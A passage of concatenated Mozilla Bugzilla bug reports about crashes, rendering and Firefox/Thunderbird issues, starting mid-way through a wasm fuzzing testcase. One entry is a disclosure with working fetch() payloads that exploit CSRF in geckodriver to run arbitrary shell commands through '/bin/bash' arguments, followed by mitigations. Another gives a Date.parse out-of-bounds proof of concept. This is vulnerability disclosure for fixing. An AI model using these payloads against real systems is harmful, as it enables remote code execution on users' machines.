wasmFullPass(`(module
(func (param ${paramType}) (result ${resultType})
(${opcode} (local.get 0)))
(export "run" (func 0))
)`, expect, {}, op);
}
}
function testConversion(resultType, opcode, paramType, op, expect) {
testConversion0(resultType, `${resultType}.${opcode}/${paramType}`, paramType, op, expect);
}
testConversion('i32', 'wrap', 'i64', '0x100000028', 40);
testConversion('i32', 'wrap', 'i64', -10, -10);
testConversion('i32', 'wrap', 'i64', "0xffffffff7fffffff", 0x7fffffff);
testConversion('f32', 'convert_s', 'i32', 40, 40);
testConversion('f32', 'convert_u', 'i32', 40, 40);
testConversion('f64', 'convert_s', 'i32', 40, 40);
testConversion('f64', 'convert_u', 'i32', 40, 40);
wasmFullPass(`
(func (export "run") (result i32)
(block (result i32 i32 i32)
(i32.const 41)
(i32.const 42)
(i32.const 43)
(loop (param i32 i32 i32)
(br 1)
)
(unreachable)
)
(drop)
(drop)
)
`);
Backtrace:
received signal SIGTRAP, Trace/breakpoint trap.
0x00000aa9ff3eb177 in ?? ()
#0 0x00000aa9ff3eb177 in ?? ()
[...]
#4 0x0000000000000000 in ?? ()
rax 0x35a300000029 58974195941417
rbx 0xaa9ff3eb110 11725248049424
rcx 0xffffffff 4294967295
rdx 0x0 0
rsi 0x5555582a66a0 93825039754912
rdi 0x7ffff5a58d78 140737314655608
rbp 0x7fffffffafd0 140737488334800
rsp 0x7fffffffafd0 140737488334800
r8 0x7fffffffaf28 140737488334632
r9 0x7da9ffe0 2108293088
r10 0x198c057a2bf0 28089178008560
r11 0x7ffff605ae00 140737320955392
r12 0x0 0
r13 0x7fffffffba30 140737488337456
r14 0x7ffff605ae00 140737320955392
r15 0x0 0
rip 0xaa9ff3eb177 11725248049527
=> 0xaa9ff3eb177: movabs $0xfff8800000000000,%rcx
0xaa9ff3eb181: or %rax,%rcx
Marking s-s until investigated.
|
|
1,644,738 | 14,874,091 |
Created attachment 9155659
Firefox-77-tracking.jpg
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Steps to reproduce:
1. Create a new, empty Firefox profile
2. Open Firefox
3. Enable Strict enhanced tracking protection
4. Browse https://www.nature.com/articles/nature15393 - Ads are missing (as expected).
5. Click on the shield to disable enhanced tracking protection for that site
6. Reload the page
Actual results:
Main content loads fine but some third parties (like the ads) fail to load.
Console displays:
The resource at “<URL>” was blocked because content blocking is enabled. (x6)
Expected results:
Page should have loaded fully and I would expect that no third parties are blocked, as enhanced tracking protection is disabled.
|
|
1,648,493 | 14,901,745 |
Created attachment 9159333
testcase.html
Testcase found while fuzzing mozilla-central rev db74cdf9afe7.
Assertion failure: aSeg.mLen < 0 || (aSeg.mPos + aSeg.mLen <= aSpec.Length() && aSeg.mPos + aSeg.mLen >= aSeg.mPos), at /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:233
```
==27627==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7f14a6e25324 bp 0x7ffd62ecdbd0 sp 0x7ffd62ecdbd0 T0)
==27627==The signal is caused by a WRITE memory access.
==27627==Hint: address points to the zero page.
#0 0x7f14a6e25323 in mozilla::net::nsStandardURL::SanityCheck(mozilla::net::nsStandardURL::URLSegment const&, nsTString<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:230:3
#1 0x7f14a6e25462 in mozilla::net::nsStandardURL::~nsStandardURL() /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:250:3
#2 0x7f14a7a323dd in mozilla::net::SubstitutingURL::~SubstitutingURL() /builds/worker/checkouts/gecko/netwerk/protocol/res/SubstitutingURL.h:19:7
#3 0x7f14a6e2fdcd in mozilla::net::nsStandardURL::Release() /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1261:1
#4 0x7f14aeab4708 in ~nsCOMPtr_base /builds/worker/workspace/obj-build/dist/include/nsCOMPtr.h:329:7
#5 0x7f14aeab4708 in mozilla::dom::URL::SetProtocol(nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:237:1
#6 0x7f14abc9eb8e in mozilla::dom::URL_Binding::set_protocol(JSContext*, JS::Handle<JSObject*>, void*, JSJitSetterCallArgs) /builds/worker/workspace/obj-build/dom/bindings/URLBinding.cpp:196:24
#7 0x7f14ac83492d in bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3167:8
#8 0x7f14b2f2ec3b in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:484:13
#9 0x7f14b2f2ec3b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:576:12
#10 0x7f14b2f30ed8 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:639:10
#11 0x7f14b2f311b6 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:656:8
#12 0x7f14b2f330b3 in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:794:10
#13 0x7f14b34e22e9 in SetExistingProperty(JSContext*, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyResult>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2809:8
#14 0x7f14b34e134b in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2838:14
#15 0x7f14b2f4ac50 in js::SetProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/ObjectOperations-inl.h:283:10
#16 0x7f14b2f113c3 in SetPropertyOperation /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:270:10
#17 0x7f14b2f113c3 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3057:12
#18 0x7f14b2efafa1 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:456:10
#19 0x7f14b2f2ed1d in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:611:13
#20 0x7f14b2f30ed8 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:639:10
#21 0x7f14b2f311b6 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:656:8
#22 0x7f14b30d3fa0 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2846:10
#23 0x7f14ac42fa2e in mozilla::dom::EventListener::HandleEvent(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/EventListenerBinding.cpp:55:8
#24 0x7f14acf38bed in void mozilla::dom::EventListener::HandleEvent<mozilla::dom::EventTarget*>(mozilla::dom::EventTarget* const&, mozilla::dom::Event&, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#25 0x7f14acf38614 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1082:43
#26 0x7f14acf39e1d in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1279:17
#27 0x7f14acf27f0f in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:355:17
#28 0x7f14acf266ad in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:557:16
#29 0x7f14acf2ac06 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:1054:11
#30 0x7f14af6d6fc2 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/checkouts/gecko/layout/base/nsDocumentViewer.cpp:1148:7
#31 0x7f14b2266087 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp:5684:20
#32 0x7f14b2265205 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp:5426:7
#33 0x7f14b226b9df in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp
#34 0x7f14a94efbc0 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/checkouts/gecko/uriloader/base/nsDocLoader.cpp:1331:3
#35 0x7f14a94eea8c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/checkouts/gecko/uriloader/base/nsDocLoader.cpp:937:14
#36 0x7f14a94eb00b in nsDocLoader::DocLoaderIsEmpty(bool, mozilla::Maybe<nsresult> const&) /builds/worker/checkouts/gecko/uriloader/base/nsDocLoader.cpp:757:9
#37 0x7f14a94ed57d in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/checkouts/gecko/uriloader/base/nsDocLoader.cpp:640:5
#38 0x7f14a94ee61c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/checkouts/gecko/uriloader/base/nsDocLoader.cpp
#39 0x7f14a6d8ba87 in mozilla::net::nsLoadGroup::NotifyRemovalObservers(nsIRequest*, nsresult) /builds/worker/checkouts/gecko/netwerk/base/nsLoadGroup.cpp:615:22
#40 0x7f14a6d8ec97 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/checkouts/gecko/netwerk/base/nsLoadGroup.cpp:522:10
#41 0x7f14aaac0d9f in mozilla::dom::Document::DoUnblockOnload() /builds/worker/checkouts/gecko/dom/base/Document.cpp:10716:18
#42 0x7f14aaa775e6 in mozilla::dom::Document::UnblockOnload(bool) /builds/worker/checkouts/gecko/dom/base/Document.cpp:10648:9
#43 0x7f14aaa9baca in mozilla::dom::Document::DispatchContentLoadedEvents() /builds/worker/checkouts/gecko/dom/base/Document.cpp:7282:3
#44 0x7f14aab69bd4 in applyImpl<mozilla::dom::Document, void (mozilla::dom::Document::*)()> /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:1186:12
#45 0x7f14aab69bd4 in apply<mozilla::dom::Document, void (mozilla::dom::Document::*)()> /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:1192:12
#46 0x7f14aab69bd4 in mozilla::detail::RunnableMethodImpl<mozilla::dom::Document*, void (mozilla::dom::Document::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:1238:13
#47 0x7f14a6a9f8cd in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/checkouts/gecko/xpcom/threads/SchedulerGroup.cpp:146:20
#48 0x7f14a6ada8ee in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1234:14
#49 0x7f14a6ae57cc in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:501:10
#50 0x7f14a7e74d0f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:87:21
#51 0x7f14a7d50e17 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#52 0x7f14a7d50e17 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#53 0x7f14a7d50e17 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#54 0x7f14af0f9f88 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:137:27
#55 0x7f14b2cc1786 in XRE_RunAppShell() /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:913:20
#56 0x7f14a7d50e17 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#57 0x7f14a7d50e17 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#58 0x7f14a7d50e17 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#59 0x7f14b2cc0d6f in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:744:34
#60 0x55c9413feb43 in content_process_main /builds/worker/checkouts/gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#61 0x55c9413feb43 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:303:18
#62 0x7f14ca9f4b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:230:3 in mozilla::net::nsStandardURL::SanityCheck(mozilla::net::nsStandardURL::URLSegment const&, nsTString<char> const&)
```
|
|
1,648,964 | 14,905,580 |
geckodriver is vulnerable to Cross-Site Request Forgery.
While no WebDriver session is running, this can be used to
execute arbitrary system commands (remote command execution)
as demonstrated by this exploit:
~~~javascript
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
~~~
This vulnerability has been tested on:
* Mozilla Firefox 79.0a1
* geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
* Debian testing
## Cross-Site Request Forgery
By default, geckodriver listens on `http://localhost:4444`.
This prevents other machines from directly attacking the geckodriver
instance. However `geckodriver` is vulnerable to Cross-Site Request
Forgery attacks as demonstrated by:
~~~javascript
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {}
}
};
});
~~~
When executed by the user's browser from another origin, this code
spawns a new Firefox instance.
This must happen while no WebDriver session is running in geckodriver
as geckodriver rejects the creation of a second session.
The scope of this attack might seem limited because the attacker cannot
easily interact with the created session. Acting on the session through CSRF
is possible if the session ID is known but it is not easily possible for the
attacker to find the session ID:
- it cannot get the session ID from the geckodriver response;
- it is very difficult to guess the session ID as it is a UUIDv4.
## Remote Code Execution
It is however possible for the attacker to execute arbitrary commands
with the session creation request.
Of particular interest are the following properties of `moz:firefoxOptions` [1]:
* `binary` lets the attacker specify the path of the Firefox binary to execute;
* `args` lets the attacker specify a list of arguments to pass to this command;
* `profile` lets the attacker specify a profile directory (which could be used
to load interesting extensions in the browser);
* `prefs` lets the attacker set Firefox preferences;
* `env` lets the attacker set environment variables.
The actual command executed by geckodriver to create a browser is:
~~~sh
"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"
~~~
In order to execute arbitrary command we need to find a program which accepts
an initial `-marionette` argument and execute commands taken from `$args`
or from environment variables.
`bash` can used to execute arbitrary system commands
as demonstrated by the following exploit
which executes the `xterm -e nyancat` system command:
~~~javascript
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
~~~
The command executed by geckodriver is:
~~~sh
bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
-foreground -no-remote -profile "$profile"
~~~
The initial `-marionette` argument is interpreted as a serie of flags.
The only problematic ones are:
* The `-r` flag asks for a restricted shell. This might be problematic
because it adds a number of restriction to the commands allowed.
It is however easy to escape from this restricted shell by calling a new
shell instance as is done in this example.
* The `-n` flag asks to only parse the commands instead of executing them.
This could be problematic but we can actually reverse it with `+n`.
* The `-o` flags expects an option in the following argument.
In this example, we set the `posix` option.
## Mitigations
### Content-Type Validation
CSRF is possible because geckodriver accepts requests
with any `Content-Type`. Another origin can make POST
requests to geckodriver using the following content-types:
`application/x-www-form-urlencoded`,
`multipart/form-data`, `text/plain`.
geckodriver could fix this vulnerability by rejecting these
content-types. geckodriver could even reject all requests
which do not have a JSON content-type. This seems to be a
violation of the WebDriver specification which does not
mandate a JSON content-type for WebDriver POST requests.
It looks like this is a defect of the WebDriver specification
which encourages CSRF attacks on WebDriver servers
(a similar issue has been reported on another implementation).
The specification should explicitely allow a server-side
implementation of the WebDriver to reject dangerous
content-types and should require the client-side to
use a JSON content-type. Additionnaly, the security
section of the WebDriver specification should probably
mention the risks of CSRF attacks.
### HTTP-level Authentication
An new command-line flag could be added to gekodriver in
order to require some form of HTTP authentication.
When enabled, this would prevent CSRF attacks as well as
attacks from other users on the same host.
### PF_LOCAL Socket
geckodriver could receive a new option to listen on a `PF_LOCAL`
socket. These sockets are normally not accessible by CSRF.
This could additionnaly be used to prevent other users
on the same machine from talking to the geckodriver instance.
## References
[1] https://developer.mozilla.org/en-US/docs/Web/WebDriver/Capabilities/firefoxOptions#firefoxOptions
[2] https://fetch.spec.whatwg.org/
[3] https://www.w3.org/TR/webdriver2/
|
|
1,649,819 | 14,912,912 |
See https://treeherder.mozilla.org/#/jobs?repo=mozilla-central&selectedTaskRun=VKkEPGi4RDeUnpqvM3Swpw.0&searchStr=raptor&tochange=e950bdd669d44eeb8e6af84a987c2a8ba5d9d1a2
Log: https://treeherder.mozilla.org/logviewer.html#?job_id=307978924&repo=mozilla-central
|
|
1,649,981 | 14,913,918 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Steps to reproduce:
installed the latest ESR version 78.0.1 for macOS
Actual results:
the address bar does not work for search engines, the issue seems to be not fixed with ESR 78.0.1 update on macOS
Expected results:
typing something in the address bar and press enter should automatically use my preferres search engine
|
|
1,650,211 | 14,915,570 |
This bug is for crash report bp-40fa868f-465e-44b1-840d-1ae2a0200702.
Top 10 frames of crashing thread:
```
0 xul.dll mozilla::net::CookiePersistentStorage::EnsureReadComplete netwerk/cookie/CookiePersistentStorage.cpp:1719
1 xul.dll mozilla::net::CookieService::SetCookiesFromIPC netwerk/cookie/CookieService.cpp:2251
2 xul.dll mozilla::net::CookieServiceParent::RecvSetCookies netwerk/cookie/CookieServiceParent.cpp:175
3 xul.dll mozilla::net::PCookieServiceParent::OnMessageReceived ipc/ipdl/PCookieServiceParent.cpp:274
4 xul.dll mozilla::dom::PContentParent::OnMessageReceived ipc/ipdl/PContentParent.cpp:6285
5 xul.dll mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2093
6 xul.dll mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:1972
7 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1234
8 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:504
9 xul.dll nsThread::Shutdown xpcom/threads/nsThread.cpp:898
```
this crash signature is somewhat increasing during the firefox 79 cycle - from the crash report it's not immediately clear to me what the underlying reason might be though.
|
|
1,650,512 | 14,917,729 |
Created attachment 9161366
firefox_2020-07-03_23-36-41.png
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Steps to reproduce:
Visit a Classic Google Site that features an HTML Box Gadget. Any site will do as long as it features an HTML Box. Visiting the following test site demonstrates the issue: https://sites.google.com/site/nightlytest163/
Actual results:
The contents of the HTML Box will not be visibly displayed, yet when viewing the source of the page the contents within the HTML Box are still there.
Expected results:
The contents of the HTML Box as per the test site "My First Heading" and "My first paragraph." should be displayed in FireFox Nightly 80.0.1, as they correctly display in Firefox 78.0.1.
|
|
1,650,590 | 14,918,119 |
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Steps to reproduce:
With JAWS 2020 running open https://raywoodcockslatest.wordpress.com/ and wait a few seconds after page loads.
Actual results:
The message "your tab just crashed" appears. The latest crash report is available at:
https://crash-stats.mozilla.org/report/index/2ebb5ee4-5608-4b21-a0af-940ee0200704#tab-bugzilla
Expected results:
No crash.
|
|
1,650,655 | 14,918,445 |
This bug is for crash report bp-8be29aab-b938-4576-9d9f-e9dc30200704.
Top 10 frames of crashing thread:
```
0 xul.dll mozilla::dom::Document::GetPermissionDelegateHandler dom/base/Document.cpp:15593
1 xul.dll nsGlobalWindowInner::Observe dom/base/nsGlobalWindowInner.cpp:4989
2 xul.dll nsObserverList::NotifyObservers xpcom/ds/nsObserverList.cpp:65
3 xul.dll nsObserverService::NotifyObservers xpcom/ds/nsObserverService.cpp:288
4 xul.dll mozilla::PermissionManager::NotifyObserversWithPermission extensions/permissions/PermissionManager.cpp:2644
5 xul.dll mozilla::PermissionManager::AddInternal extensions/permissions/PermissionManager.cpp
6 xul.dll mozilla::dom::ContentChild::RecvAddPermission dom/ipc/ContentChild.cpp:2460
7 xul.dll mozilla::dom::PContentChild::OnMessageReceived ipc/ipdl/PContentChild.cpp:10326
8 xul.dll mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2093
9 xul.dll mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:1972
```
crash reports with this signature are starting to show up across platforms in firefox 79 - perhaps tied to the changes in bug 1587743...
|
|
1,628,415 | 14,743,370 |
Richlistitems have a custom label getter that collates the contents of all the value attributes of all the `label` elements in the item. This is seldom helpful - in fact, in bug 1628255 and bug 1568453 it produced the wrong results.
At this point, it probably makes sense to just remove this, and audit consumers that may be relying on it to give them explicit `aria-labelledby` or similar attributes to provide an appropriate accessible name.
|
|
1,628,719 | 14,745,377 |
Created attachment 9139472
test.html
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Steps to reproduce:
I have a for loop inside which I call inherited static methods on several different classes but after some iterations, the calls become mixed up and methods from wrong parent classes are being called.
In the test case file, the script loops through classes and calls the static "build" method, which is inherited from another base class. It loops through TimeLine, picks the relevant class from ClassMap, then calls build() on it, and then build() outputs the name of the base class. The TimeLine looks like [2, 1, .... , 1, 2], so ClassTwo which extends BaseTwo will be picked first, then ClassOne several times, and then it'll end with ClassTwo again.
The output should be:
2 BaseTwo
1 BaseOne (28 times)
2 BaseTwo
But Firefox shows
2 BaseTwo
1 BaseOne (28 times)
2 BaseOne
Calling run() from the console several more time eventually makes Firefox only call build() from the BaseOne class or sometimes only from BaseTwo. This only seem to happen when inside the for loop.
This started to happen in FF75.
Works fine in Chrome.
|
|
1,622,212 | 14,693,223 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Steps to reproduce:
Firefox 76.0a1 (2020-03-12) (64-bit)
https://static-misc-2.glitch.me/storage-in-iframe/ - this page contains https://static-misc.glitch.me/storage-test/ in an iframe.
In https://static-misc-2.glitch.me/storage-in-iframe/, hasStorageAccess logs "false", but anything set in various storages seems to be available in the top level https://static-misc.glitch.me/storage-test/, and vice versa.
Actual results:
^
Expected results:
^
|
|
1,622,231 | 14,693,316 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Steps to reproduce:
I'm using TB 74.0b2 on Windows (just moved to 64 bit version), I'm trying to format some text as Fixed Width
Actual results:
Text is wrapped by the following markup, and doesn't show any apparent visual difference from the rest of the text
<font face="tt">text</font>
Expected results:
Previously (don't remember if also in TB 72), it got a
<tt>text</tt>
and looked different. Moreover, trying to "force" the markup to the "legacy" one, the formatting bar in Compose Window doesn't show me "Fixed Width" format, but rather "Courier New" font.
Is this expected, is this being changed?
|
|
1,634,053 | 14,786,248 |
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Steps to reproduce:
If shared library libresolv.so (symlink) does not exist add-on name resolution via DNS.jsm does not work.
Actual results:
Using the latest Ubuntu 20.04 Version I installed thunderbird and the two addons TBSync and "Provider for CalDav and CardDav). On some installations The Addons refused to connect to a Nextcloud server.
After some investigation it was found that DNS resolving did not work (Error thrown by DNS.jsm). - On some installations it did work.
The issue is that the library-symlink libresolv.so not not part of the libc6 package that is usually installed but is part of the libc6-dev package which - by default is not installed. It could also be considered as an Ubuntu-bug, however Thunderbird itself seem to use a different name resolution - so basically adding imap/smtp servers did work so obviously a different name resolution technique is used. This should be harmonized.
Expected results:
The name resolution technique should be the same as of the main Thunderbird - which worked fine without libresolv.so
|
|
1,634,247 | 14,787,779 |
Created attachment 9144546
Screenshot
I missed this in bug 1532172.
|
|
1,634,738 | 14,791,690 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Steps to reproduce:
I found a 1-byte OOB bug in the implementation of Date.parse in Spidermonkey.
When calling `Date.parse` in JavaScript, Spidermonkey will convert the input object to a `JSLinearString` where the string is represented inside a contiguous buffer and the core implementation will iterate over the string to parse it. This is implemented in `ParseDate<unsigned char>` in `gecko-dev/js/src/jsdate.cpp:1093`.
The implementation consists of a big while loop guarded by a `i < length` check where i is the current index inside the string buffer. However the implementation is buggy and can lead to a 1-byte OOB read under specific circumstances
The core of the loop looks like the following:
```
while (i < length) {
int c = s[i];
i++; [[ 1 ]]
if (c <= ' ' || c == ',' || c == '-') {
if (c == '-' && '0' <= s[i] && s[i] <= '9') { [[ 2 ]]
prevc = c;
}
```
At [[ 1 ]], the index is incremented and based on what the value of the currently read character is, the code will try to look-up the next character to determine what it is parsing. However it does not check in the particular code-path where c is '-' that i has not become greater than length therefore [[ 2 ]] will read 1-byte OOB of the string buffer.
The simplest PoC that highlights the issue is the following code:
```
s = "-".repeat(0x100000);
Date.parse(s);
```
Running this inside the shell should instantly crash the process with a SIGSEGV.
As far as security impact, I think this should be classified as low impact as at best it could potentially maybe be used as an OOB 1-byte oracle.
(While getting a bit ahead, if this is considered for a potential bounty, I want to point out that I have previously received bounty payments from Mozilla but that information is now outdated and not valid anymore as I operate under my own company now)
Actual results:
The process crashed by reading OOB at an unmapped memory address
Expected results:
Nothing should happen, the code for Date.parse should handle that case gracefully
|
|
1,634,819 | 14,792,461 |
STR:
1. Visit about:logins and add a (fake) saved login for https://www.virustotal.com
2. Load https://www.virustotal.com/gui/sign-in
3. Focus the password field (clear it if it's non-empty)
Expected result:
Password autocomplete appears
Actual result:
Error in Browser Console (at least with signon.debug=true)
The problem is that NewPasswordModel assume that the parentElement of the <input> is non-null but the Shadow Root isn't an element, it's just a Node, so it is null. In this case we should use `Node.parentNode.nodeName` or handle `element.parentElement` being null.
```
LoginAutoComplete: TypeError: "can't access property "tagName", parentElement is null"
hasLabelMatchingRegex resource://gre/modules/NewPasswordModel.jsm:152
hasCurrentLabel resource://gre/modules/NewPasswordModel.jsm:362
getSubfactsFromFunction resource://gre/modules/third_party/fathom/fathom.jsm:1687
fact resource://gre/modules/third_party/fathom/fathom.jsm:1734
updateFnode resource://gre/modules/third_party/fathom/fathom.jsm:2288
forEach resource://gre/modules/third_party/fathom/fathom.jsm:608
results resource://gre/modules/third_party/fathom/fathom.jsm:2278
